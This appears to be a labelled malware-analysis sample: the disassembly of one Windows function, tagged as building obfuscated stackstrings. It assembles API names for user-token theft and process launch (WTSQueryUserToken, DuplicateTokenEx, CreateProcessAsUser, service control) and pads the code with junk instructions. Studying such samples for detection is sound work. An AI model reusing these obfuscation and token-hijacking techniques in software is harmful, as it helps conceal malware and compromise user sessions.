Function at 0x402add
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4415ea
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x11c0
call fcn.00403550
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 0x11b4], eax
mov dword [ebp - 0x11c0], ebx
mov dword [ebp - 4], ebx
call fcn.0040d6f2
xor ecx, ecx
inc ecx
test eax, eax
cmovs eax, ecx
cmp eax, 0xfffffffb
jl 0x4032f0
call fcn.0040d6f2
test eax, eax
push 1
pop ecx
cmovs eax, ecx
cmp eax, 0xfffffdee
jge 0x402b63
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetCursorPos]
call fcn.0040295f
jmp 0x4032f6
push edi
add edi, esp
xor edi, esp
add edi, esp
mov edi, 0xa74cf29b
sbb edi, eax
xor edi, esp
pop edi
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
movaps xmm0, xmmword [0x4422b0]
lea eax, [ebp - 0x140]
push eax
xor ebx, ebx
mov dword [ebp - 0x6c], 0x61737477
lea eax, [ebp - 0x30]
mov dword [ebp - 0x68], 0x32336970
push eax
mov dword [ebp - 0x64], 0x6c6c642e
mov byte [ebp - 0x60], bl
mov dword [ebp - 0x30], 0x6e72654b
mov dword [ebp - 0x2c], 0x32336c65
mov dword [ebp - 0x28], 0x6c6c642e
mov byte [ebp - 0x24], bl
mov dword [ebp - 0x5c], 0x61766441
mov dword [ebp - 0x58], 0x32336970
mov dword [ebp - 0x54], 0x6c6c642e
mov byte [ebp - 0x50], bl
mov dword [ebp - 0x20], 0x72657355
mov dword [ebp - 0x1c], 0x2e766e45
mov dword [ebp - 0x18], 0x6c6c64
movups xmmword [ebp - 0x140], xmm0
mov dword [ebp - 0x130], 0x64496e6f
mov byte [ebp - 0x12c], bl
call fcn.00401a02
movaps xmm0, xmmword [0x4422f0]
mov dword [0x456628], eax
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0xcc], 0x53656c6f
push eax
movups xmmword [ebp - 0xdc], xmm0
mov dword [ebp - 0xc8], 0x69737365
mov dword [ebp - 0xc4], 0x64496e6f
mov byte [ebp - 0xc0], bl
call fcn.00401a02
movaps xmm0, xmmword [0x4422d0]
mov dword [0x45662c], eax
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x118], 0x6f6c4274
push eax
movups xmmword [ebp - 0x128], xmm0
mov word [ebp - 0x114], 0x6b63
mov byte [ebp - 0x112], bl
call fcn.00401a02
movaps xmm0, xmmword [str.RegisterServiceCCreateProcessAsUSysAllocStringLeWTSQueryUserTokeDestroyEnvironmeProcessIdToSessiStartServiceCtrlCreateEnvironmenGetForegroundWinWTSGetActiveConsSetServiceStatusDuplicateTokenEx0gE]
mov dword [0x456630], eax
lea eax, [ebp - 0xbc]
push eax
lea eax, [ebp - 0x5c]
mov dword [ebp - 0xac], 0x486c7274
push eax
movups xmmword [ebp - 0xbc], xmm0
mov dword [ebp - 0xa8], 0x6c646e61
mov dword [ebp - 0xa4], 0x78457265
mov word [ebp - 0xa0], 0x41
call fcn.00401a02
mov dword [0x456634], eax
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x8c], 0x46535457
push eax
mov dword [ebp - 0x88], 0x4d656572
mov dword [ebp - 0x84], 0x726f6d65
mov word [ebp - 0x80], 0x79
call fcn.00401a02
movaps xmm0, xmmword [0x4422a0]
mov dword [0x456638], eax
lea eax, [ebp - 0x110]
push eax
movups xmmword [ebp - 0x110], xmm0
mov dword [ebp - 0x100], 0x6c42746e
lea eax, [ebp - 0x20]
mov dword [ebp - 0xfc], 0x6b636f
push eax
call fcn.00401a02
movaps xmm0, xmmword [0x442280]
mov dword [0x45663c], eax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0x41656c4f
push eax
mov dword [ebp - 0x3c], 0x32337475
mov dword [ebp - 0x38], 0x6c6c642e
mov byte [ebp - 0x34], bl
movups xmmword [ebp - 0x168], xmm0
mov word [ebp - 0x158], 0x6e
call fcn.00401a02
mov dword [0x456620], eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x9c], 0x46737953
push eax
mov dword [ebp - 0x98], 0x53656572
mov dword [ebp - 0x94], 0x6e697274
mov word [ebp - 0x90], 0x67
call fcn.00401a02
add esp, 0x40
mov dword [ebp - 0x11bc], eax
push eax
sbb eax, edx
add eax, eax
mov eax, 0x84d5297e
or eax, ecx
sub eax, ebx
pop eax
call fcn.0040d6f2
test eax, eax
push 1
pop ebx
cmovs eax, ebx
cmp eax, 0xfffffdee
jge 0x402dff
push 0
call dword [sym.imp.USER32.dll_SetForegroundWindow]
call fcn.004028b3
call fcn.0040d6f2
test eax, eax
cmovs eax, ebx
cmp eax, 0xfffffffb
jge 0x402e16
push 0
call dword [sym.imp.USER32.dll_SetRectEmpty]
push eax
xor eax, esp
add eax, eax
add eax, esp
xor eax, eax
mov eax, 0x894401bf
nop
pop eax
xor ecx, ecx
inc ecx
push 0x41
push ecx
push 0x4566e8
call fcn.0040111a
add esp, 0xc
test eax, eax
je 0x402eb6
push 0x40
push 3
push 0x456668
call fcn.0040111a
add esp, 0xc
test eax, eax
je 0x402eb6
xor ecx, ecx
mov al, byte [ecx + 0x456668]
mov byte [ecx + 0x4566a8], al
inc ecx
test al, al
jne 0x402e54
push eax
add eax, esp
xor eax, esp
add eax, esp
add eax, esp
xor eax, esp
add eax, esp
pop eax
xor eax, eax
inc eax
cmp dword [ebp + 8], eax
jle 0x40322b
push eax
lea eax, [ebp - 0x1a8]
push eax
call fcn.00401615
mov ebx, dword [ebp - 0x11b4]
push eax
push dword [ebx + 4]
call fcn.0040d610
add esp, 0x10
test eax, eax
jne 0x402ed2
call fcn.0040178c
push ebx
mov ebx, 0x42e9933f
xor ebx, esi
add ebx, edx
add ebx, esi
xor ebx, edx
pop ebx
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00403422
leave
ret
lea eax, [ebp - 0x1a8]
push 2
push eax
call fcn.00401615
push eax
push dword [ebx + 4]
call fcn.0040d610
add esp, 0x10
test eax, eax
jne 0x402ef7
call fcn.004027a0
jmp 0x402eb6
lea eax, [ebp - 0x1a8]
push 3
push eax
call fcn.00401615
push eax
push dword [ebx + 4]
call fcn.0040d610
add esp, 0x10
test eax, eax
jne 0x402f2c
call fcn.00402442
push ecx
xor ecx, esp
xor ecx, edx
sbb ecx, eax
xor ecx, esi
xor ecx, esp
sbb ecx, edx
xor ecx, eax
pop ecx
jmp 0x402eb6
push 4
pop edi
lea eax, [ebp - 0x1a8]
push edi
push eax
call fcn.00401615
push eax
push dword [ebx + 4]
call fcn.0040d610
add esp, 0x10
test eax, eax
jne 0x402f56
call fcn.00402712
jmp 0x402eb6
cmp dword [ebp + 8], 3
jle 0x402eb6
lea eax, [ebp - 0x1a8]
push 5
push eax
call fcn.00401615
push eax
push dword [ebx + 4]
call fcn.0040d610
add esp, 0x10
test eax, eax
jne 0x402eb6
push dword [ebx + 0xc]
call fcn.004019c8
pop ecx
xor ecx, ecx
mov dword [ebp - 0x11b8], eax
inc ecx
movzx edx, cl
xor ecx, ecx
cmp eax, 0xffffffff
cmove edx, ecx
mov dword [ebp - 0x11ac], edx
test eax, eax
je 0x402fef
push edx
mov edx, 0x5980a9d4
xor edx, esp
mov edx, 0x193451
sbb edx, esp
nop
pop edx
mov edi, dword [ebp - 0x11b8]
xor esi, esi
cmp esi, 0x1e
jge 0x402fe0
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call fcn.004018fa
pop ecx
test eax, eax
je 0x402fe0
inc esi
jmp 0x402fc2
mov edx, dword [ebp - 0x11ac]
mov ebx, dword [ebp - 0x11b4]
push 4
pop edi
xor eax, eax
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x11b8], eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403000
sub ecx, esi
test ecx, ecx
jle 0x402eb6
push 0x10
test dl, dl
pop eax
cmovne eax, edi
mov ecx, dword [eax + ebx]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40301f
sub ecx, edx
mov dword [ebp - 0x11b0], ecx
push eax
add eax, edx
sbb eax, esp
sbb eax, esi
add eax, eax
nop
pop eax
mov esi, dword [ebp - 0x11b0]
test esi, esi
jle 0x402eb6
cmp byte [ebp - 0x11ac], 0
je 0x4030a1
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x1a8]
xor ebx, ebx
push ebx
push ebx
push esi
push eax
push ebx
push ebx
call edi
mov dword [ebp - 0x11b0], eax
test eax, eax
jle 0x40308d
push eax
push ebx
call dword [0x456620]
push dword [ebp - 0x11b0]
mov dword [ebp - 0x11ac], eax
push eax
lea eax, [ebp - 0x1a8]
jmp 0x4030fb
push ebx
mov ebx, 0xbb1978d9
mov ebx, 0x75aaf07
or ebx, ecx
nop
pop ebx
jmp 0x402eb6
mov eax, dword [ebp - 0x11b4]
lea edx, [ebp - 0x11a8]
mov ecx, dword [eax + 0x10]
sub edx, ecx
mov al, byte [ecx]
mov byte [ecx + edx], al
inc ecx
test al, al
jne 0x4030b2
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x11a8]
xor ebx, ebx
push ebx
push ebx
push esi
push eax
push ebx
push ebx
call edi
mov dword [ebp - 0x11b0], eax
test eax, eax
jle 0x403218
push eax
push ebx
call dword [0x456620]
push dword [ebp - 0x11b0]
mov dword [ebp - 0x11ac], eax
push eax
lea eax, [ebp - 0x11a8]
push esi
push eax
push ebx
push ebx
call edi
push eax
xor eax, esi
sbb eax, esi
xor eax, esi
xor eax, esi
sbb eax, esi
nop
pop eax
mov esi, dword [ebp - 0x11b4]
mov edi, dword [esi + 8]
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x40311a
xor ebx, ebx
sub edi, ecx
push ebx
push ebx
push edi
push dword [esi + 8]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x11b0], eax
test eax, eax
jle 0x4031c3
push eax
push ebx
call dword [0x456620]
push dword [ebp - 0x11b0]
mov dword [ebp - 0x11b8], eax
push eax
push edi
push dword [esi + 8]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movaps xmm0, xmmword [0x4422e0]
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4c], 0x72657355
push eax
mov dword [ebp - 0x48], 0x642e3233
mov word [ebp - 0x44], 0x6c6c
mov byte [ebp - 0x42], bl
movups xmmword [ebp - 0x154], xmm0
mov dword [ebp - 0x144], 0x776f64
call fcn.00401a02
pop ecx
pop ecx
call eax
push dword [ebp - 0x11ac]
mov ecx, eax
mov eax, dword [ebp - 0x11b8]
push eax
push ecx
call fcn.00401d77
add esp, 0xc
mov dword [ebp - 0x11c0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x11bc], ebx
je 0x4031fd
push ebx
mov ebx, 0x1e76d02d
mov ebx, 0xd02173
pop ebx
mov eax, dword [ebp - 0x11ac]
mov ebx, dword [ebp - 0x11bc]
test eax, eax
je 0x4031f0
push eax
call ebx
mov eax, dword [ebp - 0x11b8]
test eax, eax
je 0x4031fd
push eax
call ebx
push eax
add eax, eax
add eax, esp
xor eax, eax
add eax, esp
add eax, eax
and eax, ebp
sub eax, ecx
pop eax
mov eax, dword [ebp - 0x11c0]
jmp 0x402eb8
push ebx
xor ebx, edx
xor ebx, edx
sbb ebx, edx
xor ebx, edx
xor ebx, edx
sbb ebx, edx
pop ebx
jmp 0x402eb6
xor ebx, ebx
mov dword [ebp - 0x11d0], 0x456668
mov dword [ebp - 0x11cc], 0x402614
mov dword [ebp - 0x11c8], ebx
mov dword [ebp - 0x11c4], ebx
call fcn.0040d6f2
test eax, eax
push 1
pop ecx
cmovs eax, ecx
cmp eax, 0xfffffdee
jge 0x40326d
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x4032f6
push edi
mov edi, 0x537293b6
add edi, esp
add edi, esp
and edi, ebp
sub edi, ebp
pop edi
movaps xmm0, xmmword [0x4422c0]
xor eax, eax
mov byte [ebp - 0x70], al
lea eax, [ebp - 0xf8]
push eax
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x61766441
push eax
mov dword [ebp - 0x78], 0x32336970
mov dword [ebp - 0x74], 0x6c6c642e
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe8], 0x70736944
mov dword [ebp - 0xe4], 0x68637461
mov dword [ebp - 0xe0], 0x417265
call fcn.00401a02
pop ecx
pop ecx
test eax, eax
je 0x402eb6
lea ecx, [ebp - 0x11d0]
push ecx
call eax
jmp 0x402eb6
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call fcn.00402861
int3